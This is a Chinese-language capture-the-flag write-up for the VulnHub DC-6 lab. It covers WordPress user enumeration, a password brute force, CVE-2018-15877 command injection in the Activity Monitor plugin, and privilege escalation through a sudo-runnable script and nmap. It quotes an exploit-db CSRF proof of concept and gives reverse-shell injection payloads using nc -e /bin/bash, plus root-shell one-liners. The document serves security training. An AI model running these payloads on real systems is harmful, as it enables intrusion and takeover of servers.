目录
- 0x00 准备
- 0x01 主机信息收集
- 0x02 站点信息收集
- 1. wordpress扫描
- 2. wordlists字典爆破
- 0x03 漏洞查找与利用
- 1. 漏洞查找
- 2. CVE-2018-15877漏洞利用
- 3. 反弹shell
- 5. nmap提权
- 0x04 总结
0x00 准备
下载链接:https://download.vulnhub.com/dc/DC-6.zip
介绍:CLUE
OK, this isn’t really a clue as such, but more of some “we don’t want to spend five years waiting for a certain process to finish” kind of advice for those who just want to get on with the job.
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. 😉
在Description部分没有什么可以注意的信息,但是CLUE部分有需要注意的内容。给出了一条命令。/usr/share/wordlists/rockyou.txt是kali自带的字典。
0x01 主机信息收集
执行命令:ifconfig
kali本机的ip:192.168.22.48,网卡eth0
发现目标主机ip:netdiscover -i eth0 -r 192.168.22.0/24
目标主机ip:192.168.22.47
探测目标主机的开放端口:nmap -sS -sV -A -n 192.168.22.47
开放端口:22端口,ssh服务;80端口,Apache httpd 2.4.25
0x02 站点信息收集
1. wordpress扫描
从上面nmap扫描开放端口的结果来看,80端口,不允许重定向到http://wordy。访问一下这个站点:192.168.22.47,可以看到确实被重定向到了这个站点。
解决方法就是在/etc/hosts文件中加入:192.168.22.47 wordy
再次访问就可以正常打开了。
扫描一下站点的目录结构:dirsearch -u 192.168.22.47
访问:http://wordy/wp-login.php,发现是wordpress的后台登录界面。考虑找用户名和密码。
kali自带一个专门扫描wordpress的工具wpscan。
利用wpscan枚举站点的账户:wpscan --url http://wordy --enumerate u
2. wordlists字典爆破
从结果看出,有这五个用户。前面给出的关于这个靶场的线索,有个字典。所以考虑用那个字典对这几个账户进行爆破。
将这几个用户名保存在name6.txt文件中:
rockyou这个字典需要先解压。
进入目录/usr/share/wordlists,发现rockyou.txt.gz文件。
(第一次使用wordlists字典的话,需要手动安装一下,安装命令:wordlists
)
执行命令进行解压:gzip -c -d /usr/share/wordlists/rockyou.txt.gz > /usr/share/wordlists/rockyou.txt
解压成功后,再执行线索中给出的命令:cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
再利用wpscan,对这几个账户进行暴力破解,执行命令:wpscan --url [http://](http://xxx/)wordy -P passwords.txt -U name6.txt
跑出来了一组用户名密码:Username: mark, Password: helpdesk01
从http://wordy/wp-login.php登录进去系统。
0x03 漏洞查找与利用
1. 漏洞查找
这个站点使用了 Activity monitor插件。
执行命令搜索有没有相关的漏洞:searchsploit Activity monitor
看一下这个文件的内容:cat /usr/share/exploitdb/exploits/php/webapps/45274.html
<!--
About:
===========
Component: Plainview Activity Monitor (Wordpress plugin)
Vulnerable version: 20161228 and possibly prior
Fixed version: 20180826
CVE-ID: CVE-2018-15877
CWE-ID: CWE-78
Author:
- LydA(c)ric Lefebvre (https://www.linkedin.com/in/lydericlefebvre)Timeline:
===========
- 2018/08/25: Vulnerability found
- 2018/08/25: CVE-ID request
- 2018/08/26: Reported to developer
- 2018/08/26: Fixed version
- 2018/08/26: Advisory published on GitHub
- 2018/08/26: Advisory sent to bugtraq mailing listDescription:
===========
Plainview Activity Monitor Wordpress plugin is vulnerable to OS
command injection which allows an attacker to remotely execute
commands on underlying system. Application passes unsafe user supplied
data to ip parameter into activities_overview.php.
Privileges are required in order to exploit this vulnerability, but
this plugin version is also vulnerable to CSRF attack and Reflected
XSS. Combined, these three vulnerabilities can lead to Remote Command
Execution just with an admin click on a malicious link.References:
===========
https://github.com/aas-n/CVE/blob/master/CVE-2018-15877/PoC:
--><html><!-- Wordpress Plainview Activity Monitor RCE[+] Version: 20161228 and possibly prior[+] Description: Combine OS Commanding and CSRF to get reverse shell[+] Author: LydA(c)ric LEFEBVRE[+] CVE-ID: CVE-2018-15877[+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell[+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well--><body><script>history.pushState('', '', '/')</script><form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data"><input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" /><input type="hidden" name="lookup" value="Lookup" /><input type="submit" value="Submit request" /></form></body>
</html>
根据提示信息,查找一些CVE-2018-15877相关的内容。可以实现反弹shell。
2. CVE-2018-15877漏洞利用
在这里输入127.0.0.1,点击lookup,抓包。
抓包,发送到repeater模块。
将这个提交的参数改为:127.0.0.1|whoami,可以看到返回了www-data。说明这里可以执行命令。
3. 反弹shell
现在kali上监听4545端口:nc -lvvp 4545
构造反弹shell的命令:127.0.0.1|nc -e /bin/bash 192.168.22.48 4545
(kali的ip),点击send。
在kali中看到监听端口4545成功。
输入命令进入交互模式:python -c 'import pty;pty.spawn("/bin/bash")’
进入mark的家目录,可以找到一个things-to-do.txt的文件,看一下文件内容。
看到了graham的账号密码。
想到开启了22端口。考虑ssh登录到graham账户。密码:GSo7isUM1D4
在kali中重新开一个终端,执行命令:ssh graham@192.168.22.47
成功登录了。
5. nmap提权
执行命令:sudo -l
,查看可以使用的命令。
从结果可以得到,jens用户可以不用密码就执行/home/jens/backups.sh脚本。
看一下这个脚本的内容,执行命令:cat /home/jens/backups.sh
这个脚本的作用是解压文件。可以考虑向这个脚本中写入/bin/bash,然后利用jens用户来执行这个脚本。
向这个脚本中写入/bin/bash,执行命令:echo "/bin/bash" >> /home/jens/[backups.sh](http://backups.sh/)
写入成功。
进入这个脚本所在的目录:cd /home/jens
利用jens用户来执行这个脚本:sudo -u jens ./backups.sh
已经切换到jens用户了。
再执行 sudo -l
查看可以jens用户可以使用的命令。
jens用户可以不用密码运行root权限的nmap命令。考虑进行nmap提权。
nmap提权分为两种:旧版本和新版本。
旧版本的利用方式是进入交互模式提权:
# 进入nmap的交互模式
nmap --interactive
# 执行sh,提权成功
!sh
新版本的利用方式:
echo 'os.execute("/bin/sh")' > shellnmap.nse #写一个root shell的文件,调用系统命令执行/bin/bash
sudo nmap --script=shellnmap.nse #运行,nse是nmap的插件的扩展名
这里用新版方式,运行上述两条命令。进入/root目录,可以查看到有theflag.txt文件,查看文件内容即可。
0x04 总结
主机信息收集:
- netdiscover探测目标主机ip。
- nmap探测开放端口和服务。
站点信息收集:
- dirsearch查看网站目录结构。
- wpscan扫描wordpress的用户。
- wpscan利用wordlists字典爆破密码。
漏洞利用:
- Activity monitor插件的漏洞:CVE-2018-15877。
- 反弹shell。
- nmap提权。